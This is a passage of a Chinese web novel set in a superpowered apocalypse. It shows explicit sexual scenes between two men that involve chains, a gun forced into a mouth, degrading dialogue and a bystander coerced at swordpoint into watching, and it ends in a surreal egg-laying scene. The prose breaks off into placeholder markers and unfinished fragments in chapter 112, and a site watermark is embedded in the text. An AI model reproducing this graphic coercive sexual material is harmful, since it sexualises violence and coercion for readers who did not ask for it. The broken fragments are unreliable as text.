衬衫早在路上就被自己扯开,露出大片大片泛着青紫的雪白胸膛,他侧躺在沙发里, 指尖攥着表层柔软的面料,修长的腿脱力地搭在扶手边,裤腰早被蹭得松散, 露出一截被薄汗润湿的腰线。 腿根在细微地颤抖, 狭窄的蜗居仍然保持着他上次出门时的样子,还是那副什么家具都没有的凄凉。但在郗烬忱心里,竟莫名其妙对这简陋的方寸之地感到了几分安心。 他狼狈而放松地陷在温暖的棉花之中, 而不用像之前那样如一条搁浅的鱼般跪在冷硬的桌面上,连膝盖也被硌得生疼。 迟聿驷将他锁在桌子上,观察他被迫思维溃散却得不到半分纾解的样子,简直是一种全方位的新式惩戒手段。 郗烬忱根本不在乎被欲望支配控制, 甚至不介意成为迟聿驷或其他什么人的玩物, 只要能从中获得欢愉让他觉得爽,在不牵扯到底线问题的情况下——只要不真*他, 什么人想怎么弄玩什么花样他都能接受并且乐在其中。 只是对于这位关系不好界定的存在,他微弱的自尊心在不合时宜地隐隐作祟, 实在无法坦然地面对迟聿驷这个人,并且说出对方要他塌下腰迎合后紧跟的秽词浪语。 绝对、绝对是迟聿驷的问题。 郗烬忱想,如果是其他人,他肯定不会想这么多。 从让他说“请主人调教”开始,到逼他承认自己是个欠*的**, 尽管郗烬忱始终保持着完全没必要的奇怪抗拒,也一点不耽误这位冷冰冰的人类最强内心深处愈来愈发严重的恶趣味。 一次拒绝,下一次的要求便会更为苛刻,以此恶性循环,像是拿准了他不会主动求人,将郗烬忱困在失水的牢笼里不得解脱。 尤其是在经历了五天近乎不休不眠的暴虐亲密后,这具不堪的身体早已无法忍受对晴雨进行的戒断反应。对方越是不碰他,他就越是对此渴求,开始失神地怀念那些无法忘掉的欢愉,几乎都要神志不清地像个最下贱的**一样在迟聿驷面前展露自身,而这一切正是对方所期望的。 为了看到他失控地掉下眼泪,再向自己彻底服软。 于是趁着这位‘外表冰冷内心难以评价’的男人终于外出执行任务的空档,郗烬忱斩断锁链,套上衣服离开了他的房间。 仍然还是万年不变的黑色风衣,郗烬忱精心搭配的修身西服外套早已被撕毁报废。而迟聿驷的衣柜里没有其他的,这位明日基地第一小队队长像个万年王八般审美奇特且性格偏执,衣柜里一眼望去只有黑色风衣、黑色风衣、以及黑色风衣。如果这是个剧情流末日开放游戏,那这四个字绝对会成为人类TOP1永不褪色的代表性皮肤。 装备了角色迟聿驷的默认装备,郗烬忱走前还不忘取回自己被没收的巧克力棒。这座公寓的结构图他在那五天中早已摸清,从窗户看去,占据着整个明日基地最好的地段,但内里陈设的简陋程度和他的安全屋相比也不遑多让。 可能所有能看的东西都被堆在锁住他的餐厅里了,搞什么啊,真当他是餐桌上的鱼? 告别完卿淼,郗烬忱在回来的路上头脑昏沉地想:干脆随便抓个人先把自己这折磨般的晴雨解决一下好了。 体内在被卿淼碰到后剧烈翻滚的能量体几乎要将他整条鱼都烧干,暂且除了这件事外思考不了任何其他的事情。 但路上随便找的人标准参差不齐,万一跟卿淼刚刚的表现一样呆就更扫兴了,虽然把刀抵在对方喉咙上胁迫也颇为有趣,可遇到表现不呆的,以自己现在这副模样,随便劫人的话保不准没一会儿就会被反客为主…… 郗烬忱勉强发动脑海里残存的思考能力,最终得出一个结论——就是安全起见,还不如直接回俱乐部找一个人好了,懂规矩,给钱办事,会很麻溜地躺下让他主导,还不会像迟聿驷那般让他反复煎熬。 总之,只要能摆脱这股几乎将他逼疯的燥热,现在是谁都行。粗鲁的、温柔的、陌生的……只要不是迟聿驷,不管是谁怎样都可以。 “哈……” 只要不是迟聿驷,郗烬忱没忍住哑笑起来,发现自己竟然真的在权衡利弊。在拥有这副放荡不堪身体后的现实之中,甚至开始认真思考起了“随便抓个人”和“雇专业人士”哪个风险更低。 风险和安全…… 在记忆里,这四个字明明是迟聿驷才喜欢考虑的事情。 身体实在太过缺乏水分,喉咙灼烧般干涸,郗烬忱灌下整整一壶茶水,任由水流顺着唇角溢出。茶杯里不断泌出的热意将沙发面料浸得深暗,洇开深色的痕迹,很快地渗透棉层,只留下无法被吸收的粘稠液体。 ……明明已经喝了那么多水,为什么还是渴得要命。 他仰头靠在沙发背上,用膝盖夹住靠枕,撩起额前散乱的银紫色发丝。 指尖勾住左侧被斩断了锁链的圈环,隔着衣料狠狠一拽,感受到尖锐的疼痛如电流般直窜脑海,又在瞬间被扭曲为细密的酥爽。 疼痛的, 滚烫的, 快感。 脑海中又想到迟聿驷,郗烬忱近乎是自虐般地加重力道,重重揉过那两片被扇地肿胀发痛的唇瓣。 可越是隔着衣物触碰,身体内的那股燥热就烧得越凶,像是要把理智彻底焚尽。 自己全然无法疏解,他低喘着摸出一张银色卡片,在界面上随意划了几下,潦草地编辑了一句话,随后将它甩到一旁的地上。 这算是什么……郗烬忱闭上眼睛,呼吸絮乱破碎之间,摸到在进门时被他扔到一旁的黑色风衣。 …… 俱乐部地下一楼,酒吧昏黄的灯光里,一头蓝发的青年正靠在吧台旁,百无聊赖地擦拭着他那把被改装过的手枪。 俱乐部代理掌权人换届,动物园变成酒厂,他前段时间刚从“苍鹰”被改名为“b52轰炸机”,对这个新名字颇为满意。 身为一个年仅二十二岁、有理想有前途有实力的三有优秀男人,b52轰炸机的理想就是想要邂逅一段末世中最浪漫的美好感情,于是在处理完手头所有任务后的半小时前,他做了一件照同僚来看不可理喻的事情——算了算自己的所有积蓄,然后清空了自己的俱乐部终端,只添加上了一项‘不一定陪还可能杀了雇主’的陪睡服务。 几天前倒是有个来咨询丧尸皇踪迹的黑发小子看起来长相不错,他很是喜欢,于是主动揽活带着那人殷勤地在俱乐部上下逛了一圈,介绍这个推销那个,结果黑发小子就单纯来问一下,问完就走还不给钱,这简直太败好感。 “B,”调酒师递来一杯鸡尾酒,玻璃杯底压着一张暗紫色房卡,“上头有人点了你。” 代号为“b52轰炸机”的青年动作一顿,从思绪中即刻回神,夸张地把枪一把反扣到桌面:“啊?真假,这么快?” “上头是多上,几阶?”身为七阶之下无法无天的六阶异能者,b52不加掩饰地将枪口对准调酒师,威胁道,“哥们,你不要诓我啊,对我还用这套就不太好了吧,能在我上面的不是代理就是……” 他语气玩笑起来:“总不能还是‘那扇门’里的谁吧?” 调酒师没有回答,只是用沾着酒渍的抹布擦了擦手。 嘿,这态度。 “房卡有效期三十分钟,去不去随你。” b52手指轻轻敲击吧台,用几乎纯白的眼瞳盯着暗紫色的房卡。 “这能不去?”他啧了声,端起桌子上的b52轰炸机,将上方的火焰也连带着一口闷掉,冰凉的酒水顺着喉咙穿过食道,混合着咖啡酒与百利甜的香味扩散在胃里炸开。 走向楼梯时,B52感觉到整个酒吧雇佣兵的视线都集中在他身上。这些或好奇或嫉妒的目光他通通都不在意的无视,只晃着手心里的暗紫房卡,对上面的门牌号堪堪称奇。 这可是个大数字啊。 在不知道多少层走廊尽头那扇铁门前,他停顿了几秒,就在准备用房卡贴近把手时,铁门发出装置启动的嗡鸣,缓缓向两侧滑开。 住这里的是什么人呢? 女人还是男人?丑陋的还是漂亮的?温柔的还是漂亮的?冷漠的还是漂亮的?啊他没别的要求只要漂亮就好了。权限这么高的话,异能有多强?丑的话他打不过怎么办,照俱乐部以往几位代理人来看,现任是个吹毛求疵的五阶女人,上任是个利欲熏心的四阶男人,所以里面这人究竟好不好看漂不漂…… B52在脑海里胡思乱想的猜测被一阵剧痛打断——完全没有反应过来,连房间内部陈设都没看清,一声脆响后,他的脸颊便狠狠撞在地面上,冰冷的触感让他瞬间清醒,感受到房间主人的压迫感如形成实质般恐怖而可怕,近乎于深不可测,他的异能甚至来不及发动就被彻底压制。 “带上。” 伴随着又低又哑的性感声线,一副皮质眼罩砸在他的脸上。 浑身上下都传来危险警报,B52下意识动了动,肌肉记忆先于意识想要捡起跌落在一旁的手枪,指尖刚刚触到枪柄,视野边缘毫无征兆地出现了一只皮鞋。 皮鞋的鞋尖只抵住枪身轻巧地一勾,目标物便旋转着飞速滑向墙角。 脊背遭受重击,B52被迫伏低,看到鞋底一闪而过的猩红,阻断了他想要探究的所有视线,只能注意到对方被一件不伦不类衣物包裹着细微颤抖的腿部线条。 ……好像是件大衣? 哦,b52自己回答自己,原来是不让看脸的。 “…闭眼……” 短促音节在甜腻而涩晴的破碎喘息中自后方传来,视野里,对方的红底皮靴有些出现重影,B52趴在地上下意识闭眼,紧随而来的,他跨坐在了自己的腰上。 身体被绞紧,他眩晕地眨动眼睛,某种温热的触感正从腰部的衣服湿答答地不断渗入,让衣料与皮肤黏连在一起。 是汗吗?B52慢半拍地闻到空气中巧克力融化后的味道,还有很浓重的、一股石楠花特有的—— “——砰!” 身侧的铁门突然发出剧烈的重响。 金属摩擦般刺耳而沉重,那声音不是普通的敲击,反而如同某种猛兽正用利爪撕开门扉。 前所未有的慌恐感抓紧心脏,B52意识到门外绝非普通的入侵者,冷汗直冒而出,他感受到跨坐在腰上的人在瞬息绷紧了全身,撑在脊背的手指也战栗起来,痉挛地喷出一大股一大股的温热。 或许是冷汗,或许是被克苏鲁攻击后的科幻描写,总之绝不可能是某种不可言说的会被锁文的其他存在。 对方仿佛在勾引人般的吐息太过让人**起立,冲淡了一部分心理上的恐惧,B52艰难地吞咽着唾液,悄悄睁开半只眼向门口望去。 一柄黑色长刀正静静插在门缝里,刀身泛着幽蓝色的冷光。 刃口所过之处,门框与墙体间裂开一道无形的缝隙,彷如切割开空气,再稍稍一划,便将二者彻底分为两体。 蓝光波动,铁门被轻而易举地暴力踹开,发出不堪重负的呻-吟,整扇门重重砸向墙壁,在一半消失与一半变形的诡异空间中彻底报废,又在分秒间触发被动功能紧急复原。 逆光中,一道修长的身影缓步踏入,黑发蓝眼的男人身着一件简单到没有任何装饰物的黑色风衣,冰蓝色的瞳孔温度极低,根本不像是活人能够拥有的一双眼睛,B52猛地闭上眼睛移开视线。 刀尖拖地,在地板上划出磨耳难忍的音调,穿破空气,直冲耳蜗而来。 来者把玩着手中长刀,目光缓缓扫过室内的景象,嗤笑一声,眼底却毫无温度。 “打扰。” 他随意地倚在墙边,指节轻叩刀柄,漠然道:“我就看看。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 110-120 第111章 熟悉且冰冷的声音在耳畔响起, 难以言喻的悸动感又一次自心脏传来。 这慢一拍的心跳,无法控制的流出……身体种种般的反应这段时间里他都再熟悉不过。郗烬忱的神经反条件绷紧一瞬,指节在身下人被润湿的衣料上攥出褶皱。 迟聿驷简单地抱着刀站在那里, 真的只是在没什么表情地看着。 那双冰蓝色的眸瞳平静无波,正用无法忽视的视线缓缓掠过小辫男人紧绷的肩膀与脖颈,在凌乱敞开的衬衣间游走, 最后落在掩盖住他一部分大腿的黑色风衣上。 风衣外形早已皱得不成样子,却仍死死绞着郗烬忱发抖的腿-根,潮湿的布料上泛起一大片一大片混杂不清的深痕。 迟聿驷的视线略带深意地停留于此, 几秒后, 他冷冷笑了一声。 这笑声在这种场合下实在太过于耐人寻味,整个房间随之都陷入死寂,唯有一人毫不压抑的喘息声在空气中回荡。 B52轰炸机在原地死死闭着眼睛, 冷汗顺着额角滑落。他不敢动,甚至不敢呼吸,迟聿驷出现的那一刻,这位升上六阶后字典里就没有‘害怕’二字的佣兵先生第一次如此清晰地看见自己人生的走马灯在眼前流转, 生动形象地诠释了*有多硬心就有多凉。 他感受到身上人的身体在一阵一阵战栗, 指节几乎要隔着衣料掐进他的皮肉。而门口黑发男人的目光始终缓慢、冰冷,带着某种令人毛骨悚然的审视。 只要稍有异动, B52轰炸机毫不怀疑:那人手中的黑色长刀就会瞬间洞穿他的头颅。 ——捉奸?还是找事?这算是什么?! 他惶恐不安地思考这两人究竟是什么关系——仇人?爱人?纠缠不清的旧情人?真看假看,还是刚刚那句话其实是在点他?! ‘我就看看’, 你到底要看什么啊?!这个人尽皆知不好惹的人类最强到底是怎么回事?! B52的血液几乎都要凝固,更为恐怖的是,坐在他腰上的男人在这时突然出声了。 滚烫的吐息羽毛般扫过后颈,他似乎俯下身趴在了自己身上,低哑的闷笑不知道是在邀请还是在挑衅。 “……你要看?” 黑发男人不语, 仍在那里抱刀而立,那道有形的目光更为危险不善。 B52不敢轻举妄动,于是B52学僵尸一动不动,几秒后B52天才般灵机一动,在蠢蠢欲动后立刻高呼:“不不不不不是我打扰了!是我该在一旁看着才对,不对,是我就该出去!我不应该在这里,我这就出——” “…你去哪?” B52话语顷刻便卡在喉中,察觉到房间的主人扣住他的肩膀,将整个人的重量都压了下来,随即在絮乱的热息中,手指抓住他的发丝低吟:“蓝…色…真好看……” 蓝发青年身上萦绕着熟悉的能量波动,貌似是卿淼的异能。 腹部的能量体欢快地旋转成漩涡,郗烬忱被热-朝影响的完全平息不了。 他不由得拧动身躯,在B52轰炸机衣料上难忍地磨-动,将泛红的额头贴上对方冰凉的作战服后领。 “…嗯…迟聿驷……” 沙哑的嗓音泄出暧昧不清的音节,而他嘴里的人正站在距离他们十步之外的位置,居于门框自动修复所带来的光影闪动之下,看不清面容具体的神色。 他顿了几秒,抱住刀的胳膊在胸前替换交叉,挽至手肘的袖口下,露出的肌肉线条充满经过千万次挥刀后的力量感。 纯爱青年B52轰炸机因这有准确人名存在的一声火速立了又萎了,努力忘掉身侧的大腿是有多柔软而……他小心翼翼睁开左眼的一条缝,试图把自己变成一个没有存在感的靠垫,视线锁定黑发男人环抱的黑刀。 在上方晴-动的低吟声中,B52默默发动了被自己忘到十万八千里外的异能: “换!” 空气变幻扭曲,迟聿驷怀中一沉。 原本冰凉的黑色长刀在话语落下时,突然变成一具温热的躯体。 原本的黑色长刀直挺挺地躺在宛如死尸的B52轰炸机背上。视野内,郗烬忱染着潮-色的那张脸近在咫尺,发辫在蒸腾的呼吸间蹭到脸颊,歪斜衬衣下的肌肤正随着呼吸起伏, 其上的圈环被斩断了一截锁链,自松散的纽扣缝隙间露出圆润的红晕。 他垂眸看着落入怀中的猎物,掌心按在对方腰侧凹陷的骨骼。 腿-间夹着的风衣在不断*动中散落到地,刚刚经历空间变化的郗烬忱下意识恍惚一瞬,半眯着眼睛,抬手抓住面前人黑色的发丝。 鼻尖几乎相触,氤氲水汽的眸瞳中透着晴雨未褪的水光。像是不解为什么会变色一样,郗烬忱疑惑地向前探头,再揪了下手中黑色的发丝。 他微微偏头,盯住迟聿驷冰蓝色的瞳孔,停留在一个任何一方稍微前倾就会唇瓣相贴的距离。 “…你……” 半晌,他发出含混的鼻音,温热的呼吸散在迟聿驷唇角,松开手,又低低笑起来,鲨鱼齿在唇间若隐若现:“…这张脸…哈……真…令我讨……” “……呵。” 拿出十分耐心准备听下去的迟聿驷冷笑了一声。 伴随着一阵什么东西碰撞又落地、磕碰又敲击的乱七八糟的混乱声响,像是在调情一样的戏谑言语莫名其妙消失。 在一旁扮演地板的B52轰炸机眼睛眨了又眨,没忍住还是好奇地回头悄悄向那边看了一眼。 一个扎着小辫的银紫发男人跪在凌乱的黑色风衣上,迟聿驷正用一把眼熟的手枪撬开那排尖锐的鲨鱼齿,枪管与牙齿碰撞、再与舌头相触时发出黏-腻水声。衬衫缝隙中延伸出的蓝色锁链哗啦作响,链接至迟聿驷的腕间,绷成一道笔直的线条。 男人的长相实在俊美,发丝垂落在凌厉的眉骨间,衬得那双含着水光的紫罗兰眼睛愈发摄人心魄,哪怕是一副浑身不整的狼狈模样,唇角还挂着谐谑的愉悦笑意。 B52顿时瞪大了眼睛,记忆在脑海回溯——这不就是上次接了任务后,刚出俱乐部就直接用他的枪给了他一枪的男人吗?! 等等,是不是有点绕口,不对,我的枪?! 当抵在咽喉深处的枪管缓慢退出时,男人忽然伸出舌头,殷红留恋般地舔过枪口,在上方留下一道晶亮的湿痕。 被浸湿的黑色风衣在地板上团成一团,无法吸收水体的材质使得地上很快聚集出小小水洼,迟聿驷眉头微动,鞋尖隔着衣物抵住这人还在不断流淌的入口。 他拽紧锁链:“这么想要?” 郗烬忱被拽得向前踉跄,却低喘着,用齿尖轻咬枪口,并起腿拢住皱巴巴的风衣和。 “你不来的话……”他松开嘴里的枪,慢动作地膝行着后腿半步,嘴唇微张,含糊不清地低笑,声音沙哑得不成调子,“…我找……” 枪械走火的爆鸣声在耳旁猛烈响起。 目光扫过一旁那个被火系异能灼烧殆尽的纸箱,迟聿驷眸色暗沉下来。尚未冷却的枪管被按在对方脆弱的下【下】下唇边,灼热的触感激得怀中人剧烈一颤。 他猛地扣住郗烬忱的腰/身将人翻转,右手凌空一握,那把黑色长刀便破空而来。 “喜欢给人看?” 掐住大推内测的指节发力,迟聿驷把他正对着朝这里偷看的B52方向,将被沾湿的手枪甩到一旁,手中长刀翻转而过,不容抗拒地抵进被划出红痕的□间,再猛横插-进地面,迫使对方屈辱地门户大开。 被磨得发红的车欠冂人人在空气中可怜地瑟缩,迟聿驷伸出手,用指尖毫不客气地拨开随着搅动不断咕噜噜噜的辰□瓣。 郗烬忱胸口强烈起伏着,锁链在白皙的肌肤上留下一道又一道的青紫划痕,涣散的瞳孔被散开的紫银色发丝遮掩,再往下,一道银丝从郗烬忱唇边断裂……冷不丁地,正偷瞥的B52对上了迟聿驷冷漠暴虐的视线。 “不如让这位观众好好看看好了……” B52轰炸机浑身一僵。 黑发男人蹲下身,简单地掀起眼皮,当着他的面,不紧不慢地将沾满□□的指尖抹在郗烬忱颤抖的唇上,语调缓慢至极。 “看看、你是怎么……” 生存欲望极为强烈的,蓝毛青年B52轰炸机一把抓起郗烬忱最开始扔过来的眼罩就要往眼睛上扣,动作却在半空顿住。 迟聿驷嗓音冰冷,目光寒凉地看着他。 “我让你闭眼了?”? B52轰炸机手指一抖,下意识极为快速地瞥一眼他身边浑身颤栗的鲨鱼牙男人,控制住目光没敢再往下看,可立刻悻悻地不知道下一步该怎么做了。 这人这么慷慨,居然让别人看自己对象? 也可能不是对象,但那具身体刚刚他看得明明白白——他保证他绝对是不小心看到的——有*有*还是个*,总之这位人类最强就是这么大方,让别人随便看……?!虽然事实上一开始自己就是被点来…… 思绪混乱中,迟聿驷又冷笑出声:“你真睁眼?” B52:“……” 所以我该闭眼还是睁眼……? 在一阵不停息的头脑风暴中,B52听见对方指节轻叩刀柄的轻响。像是死亡预兆般,他后颈寒毛立起,看好像会死,不看也好像会死…… 这他*纯爱脏话*的到底是什么死亡二选一?! “我、我……”B52轰炸机瞳孔紧缩,求生本能拉满,为了防止当不好尸体真的成为尸体,果断大喊道,“我瞎了!对,我失明了!什么也看不见了!” 话音未落,郗烬忱突然弓起脊背,捂着胸口开始无法克制地颤抖起来,下唇被尖锐的牙齿咬出血点,他一把抓住迟聿驷的手腕,布料摩擦声里混着惑人的甜腻喘息。 伴随着身旁人小范围抽搐身体中无法遏制的本能反应,迟聿驷分开手指,随手挑开□□,沉默了下,问:“就这么喜欢?” 对于完全没有这方面心理需求的、被剥夺了人性和所有情感的冷血家伙来讲,这显然不是他能够理解的问题。 迟聿驷没再分出半点眼神给妄图原地变成隐形直升机或者直接消失的鸡尾酒B52轰炸机,反倒想到什么,凑到郗烬忱耳畔,声音没有刻意压低,淡淡道:“还要否认你不是个——*——?” B52轰炸机自动屏蔽了自己的听觉,趴在地上战术性装死神游天外,盘算着自己佣兵生涯中存留的财产死亡后都会传给那些人,一个两个三个全都分配完成,默默再将脸转了回来。 反正死都要死了,不看白不看。 “咚”的一声闷响。 视野内,不知道迟聿驷又说了些什么,郗烬忱倏地像只被激到的鲨鱼般猛地袭去,瘀青未消的膝盖磕在迟聿驷身侧的衣物里。紧接着,他喘息着,用泛起青筋的手臂紧紧扣住迟聿驷的肩膀,将他重重压下去倒在地上,发出刚刚的那声闷响。 B52既已决心赴死,便这样默默地看着这一幕。虽然不是很想知道,但从他分析来看:黑发男人根本没有用任何手段或者方式去制止他这一动作,甚至被扑倒时还顺势躺了下去,喉结分明地滚动了一下,冷峻的唇角甚至扬起几不可察的弧度——虽然也可能是他想的太多分析过度,毕竟B52轰炸机闲的在这瞎胡拉脑补,实际上迟聿驷压根没有一点表情神色流露在外,但在B52心里,这种种迹象似乎就是—— 下一秒,在他眼前,鲨鱼牙男人准确地跨坐在了他的脸上,用实际行动堵上了他的嘴巴。 B52轰炸机:“。” 他好像一瞬间有点顿悟了起来。 “…你说话…可……真讨厌…”鲨鱼牙男人低喘着笑起来,紫色的眸光失焦的溃散着,“但我…不反驳。” “呃…嗯…我就是个欠*的……” 他闷出一道低哑的腻音,眉头挑起,一点一点调整着姿势,缓缓塌下腰收紧【……………】:“…你明明…最清楚不过……” “而且……你…!” 郗烬忱猛地仰起脖颈,挤出一声破碎的呜咽。 迟聿驷o刁住 郗烬忱条件反射地屈腿想要坐起来,但只一息,发软的小腿就让他无法完成这个简单的动作,重新跌落坐回了原来的位置。 发颤的膝盖在地板上刮出一道道糟糕的水痕,滚落的泪珠顺着脖颈流入衣领,或是飞溅到其他什么地方。 他受不住的急促*叫起来,下意识越缠越紧,却又猛然丧失了所有力道。 腹部剧烈地痉挛起来,像被电流击中的鱼,全身都涌入无法承受的酥麻与快意。他反应慢半拍地摸了摸小腹,茫然的转了转圈,好几秒,才瘫软在迟聿驷身上,像个搁浅的鲨鱼标本那样闭上眼睛。 直到被迟聿驷抱住腰移动着坐到腰胯,郗烬忱才微微张开嘴,伸出另一只手去捂住迟聿驷的嘴巴。 水…有好多水…… 郗烬忱睫毛上还挂着生理性的泪珠,要落不落。他神志不清地半阖着眼,俊美的脸上漾着水光,被上涌的晴雨裹挟,再一次地撑起自己发软的手臂。 很快地找到目的地,他很轻很轻地碰了碰衣服布料下的&,宛如入水前试探水温,隔了几秒,蜻蜓点水地再碰了一下。 迟聿驷伸手攥住郗烬忱散落的发辫,截停了他的动作,强迫他低头与自己对视。 “说清楚。” 郗烬忱瞳孔微微扩大,像是呆住一般愣了几秒,好一会儿才记起这句话的意思。 眸瞳潋滟随波,他勾起唇,混着炙热的吐息用气音回答:“……求你…\Ⅰ/我。” 第112章 郗烬忱和迟聿驷在初中认识, 一直到世界末日前大学毕业后的第一年。 相处了不长不短未曾分开过的四千零一十七天,无论性格、外貌、能力还是行动力,从各个层面来看, 迟聿驷都是一个无可挑剔的完美朋友。 当然,这里指的是末日降临之前。 不同于郗烬忱一如既往对所有人都一副可以深交的自来熟态度,迟聿驷对所有人际关系的处理都十分随缘冷淡——但高中时好歹也算是个在篮球比赛后会和队友碰拳的阳光少年, 和现在这位被压在下方的冷冰冰家伙相比起来,郗烬忱觉得自己还是更喜欢原来的他一点。 至少从前的迟聿驷会本着好心的原则帮助他…… 而不是像现在这样,单纯地躺在这里拽拽锁链, 力道既没有用力收紧, 也没有彻底放开,只是这样目光漠然地看着他做出所有动作。 好像已经很久没有正常地说过一句完整的话了。 思绪在漂流浮沉,大脑一片空白的鲨鱼牙男人模模糊糊地想, 最近这些天他的每一次开口,从喉间迸发出的都是破碎的喘息和黏腻的低-吟。 膝盖磕在地面上的疼痛感早已被淹没,只有脑海里层层叠叠翻滚上涌的特殊情绪,一阵又一阵, 妄图将他彻底吞噬。 膝盖脱力得发颤, 几乎都有些无法保持平衡。【这句话到底有什么问题?】 郗烬忱却仍然紧紧扣住迟聿驷的肩膀, 【1】将先前被走火的改装机械烙得 【2】身体只要接触到对方就会有些战栗, 他 【3】维持着,以一种奇怪的方式自己, 在濒临崩溃 【4】那是个连都 外形不再柔嫩的东西微微瑟缩,旋即又放松开来。 郗烬忱呼吸发沉,任由热意沿着脊背攀升。 腰倏然塌软,又像濒死的鱼般猛地弓颤而起。 手下的衣料变得湿润无比,他发抖着, 感觉到脸上全是泪水和嘴角流出的涎水。 从唇间一股一股流淌而出,很快将迟聿驷的衣物尽数打湿。 直到遍布的奇怪感觉肆意将全身凌虐, 控制不住地猛地仰起脖颈又低下去,他才将快要被烧坏的脑袋贴向对方的额头。 …水………他需要水…还不够…… 郗烬忱蜷缩着缓过来,胡乱用迟聿驷的衣服擦拭自己,将对方原本整洁的黑色衬衣也变得乱七八糟。 迟聿驷罕见地没有任何额外的动作,而往常这时候,他早已经扯住那条蓝色的锁链,再将这条无法被满足的、贪得无厌的鲨鱼扣在餐桌上,让他独自抗争难忍的身体反应。 他只是略微收紧指节,微微侧头,向B52轰炸机的方向投去一记冰冷而审视的眼神。 年轻的蓝发小伙B52根本毫不掩饰他的目光,目光灼灼地观摩着这场活色生香的画面,而郗烬忱的反应确实要比以往都要剧烈很多。 “你看起来…”迟聿驷抓住他胡乱晃动的发辫,淡然观察着这张晴-动而潮红的脸:“很享受有人看着?” 事实上,郗烬忱根本没有额外的心思去在意房间内是否还有第三个人。 那道探究的目光被他从一开始就忽视,郗烬忱只是凑过去,用尖锐的鲨鱼齿凶狠地刺入目标人物的嘴唇。 直到尝到冰凉的血腥气味,才像渴水的人品尝甘露那般,用艳红色的舌尖缓慢地舔舐过伤口,一点一点地用舌面卷起渗出的血珠。 湿润的下唇瓣仍在不自觉翕张地贴在迟聿驷身上,郗烬忱半阖早已涣散无比的眸子,想条鱼干一样侧趴在他身上,视线游移不定,最终盯住对方的手腕。 迟聿驷的手腕上缠绕了好几圈的锁链,在昏暗的光线下散发着冷光。 银紫色发辫的男人抬起眼眸,用了点力气去拽他手腕上的锁链,听到圈环和锁链碰撞而出的声响冰冷而清脆。 【5】他下意识地向前 “……主人…” 郗烬忱的喘息碎在空气里,湿漉漉的睫毛下眸光波动,声音像是融化的巧克力酱,带着过分甜腻的尾音。 迟聿驷拽着锁链的手只稍一用力,便逼得他自虐般将自己更近地向对方贴近,思绪中裹着莫名滋生的欢愉。 发丝黏上鼻尖和脸颊,平日里的紫罗兰色瞳孔此时上翻,鲜红舌尖吐出唇外一点,发出一声破碎不堪的低吟。 “…再…用力点……” 郗烬忱雾蒙蒙地眨着眼睛,不堪忍受的身体又生出无法被控制住的大股热意。 他勉强用手臂撑起自己,慢动作地抬起后腰,弯下腰凑过去盯住迟聿驷泛蓝的眼眸。 整个人就这样袒露在后方人的视野之内。 那截腰肢起伏得厉害,绷出诱人犯罪的脆弱曲线,仿佛轻轻一掐就会在掌中折断。皮肤上浮起细密的汗珠,顺着腰窝凹陷的弧度滑落。 B52只注意到不断往下滴落的混杂水体正顺着小辫鲨鱼牙的腿侧滑落,下一秒,迟聿驷突然一个翻身,将他整个人都彻底笼罩,隔绝了所有的光线与窥视。 又回到了之前的那个姿势,郗烬忱被他强硬地翻了个身,泛着蓝光的锁链顺势垂落在地,像是某种被驯服的冷血动物。 冰凉的黑色刀柄触及过后,又被难言的,冷热交替之间,刺激让郗烬忱浑身战栗。 腹部的异能能量体在剧烈翻涌,在反复地膨胀变形,仿佛受到了什么影响,又或是在这段时间内已经吸收所有成长成熟,开始不断地扭曲分裂,分散重组成一个又一个的蠕动的团块。 这些分裂而出的能量体隔着皮肉疯狂抓挠,亟待破体而出。 暖意集中于此,身体深处的某个地方似乎在苏醒,不断分裂的能量体变化着,他察觉到身体内有什么东西像是正在被它改造。 【6】状似颗粒状的物质存在顺着线段拉长、断裂,半透明的颗粒跌落在地。 “……” 迟聿驷用两指钳起那枚半透明的物体,在视野内左右转动,看到莹紫的流光在胶质表层下脉动流淌。 “什么?” 他指尖施力,物质上的那层透明的薄膜随即凹陷出即将破开的弧度。 郗烬忱仰起头,又一次脱力般地瘫软在地,涣散的瞳孔缓慢聚焦,像是努力思考了几分钟,露出唇间尖锐的牙齿。 “…嗯…” 他用颤抖的指尖戳了戳自己仍在痉挛的小腹,半晌,慢半拍地笑起来: “……鲨鱼卵?” ——————…… 第113章 被欲望和疼痛滋养, 能量体很快成长成熟。 无数个它在本能的驱使下疯狂蠕动,挣扎着想要脱离出目前所在的寄宿体,混沌的‘意识’中剩下一个模糊的指令:回归真正的宿主那里。 小小的分裂体子有着大大的空白脑子, 它尝试思考自己原本是来干什么的,接着又应该去做什么,然后真正的宿主到底究竟是什么——如果它真的拥有脑子的话。 但很遗憾的是, 能量体只是一团遵循系统程序设定的混沌物质,仅会下意识以最原始的方式离开…… 这离开的形态和途径有点过于原始了。 不了解内情的B52轰炸机目瞪口呆地看着这一幕。 尽管迟聿驷宽肩有力的身躯挡住了大半的鲨鱼产卵现场,但求知若渴的佣兵B52轰炸机先生还是努力且生动形象地扮演起了一名末日降临前《动物世界》频道里最敢于冒险的学者摄影师, 摩擦着地板移动, 向那个方向投去了震惊的目光。 那条鲨鱼的腹部鼓起诡异的蠕动,像是有什么活物在腹腔里翻搅。紧致的小腹绷紧又凹陷,肌肉线条扭曲成不自然的形状, 痉挛得像是已经失去了意识。 几枚半透明的物质体正艰难地滑落出来,裹着湿淋淋的水液,噗噗一声掉在地上,还弹了两下。 几秒后, 一直在一旁观察的黑发男人将左手压了上去, 右手掐住他大腿侧的肌肤。 郗烬忱迷蒙地睁开半只紫色眼睛,尖锐齿间溢出黏泥的呜咽, 发抖得几乎合不拢自己,用力攥紧那条与迟聿驷相连接的锁链。 “…干…什么…?” 他的声音有些黏糊糊的, 尾音发颤,像是被折腾得连话都说不清了。 “清理垃圾。”迟聿驷淡淡道,“还是你要留在里面?” 郗烬忱的小腿无意识地蹭着地面,腹肌仍在痉挛。 没有外界刺激,能量体可以通行的狭小通道正在缓缓收缩闭合。 他盯着那枚浑圆的状物看了几秒, 溢出低哑的笑声,半晌,抬起还在发抖的手勾住迟聿驷的手腕,将对方捏着分裂能量体的手掌引向尚未完全闭合的入口。 “…再…放回去好不好……?”郗烬忱眯起涣散的瞳孔,鲨齿间吐出温热的气息,“它没有成形…会死掉的。” 迟聿驷半垂下眼皮,以一种极为古怪的表情看着面前的人,像是在辨别这个男人是真傻掉了还是真傻掉了,过了一会儿,他问:“我是谁?” 银紫色小辫瞳孔涣散又聚焦,聚焦又涣散。 他在湿润的地面上撑起自己,爬着膝行过去时,自衬衫间垂落的链条将柔软一并坠下拽着晃荡:“…亲爱的?” 这三个字在郗烬忱嘴里从来没有过正向含义。 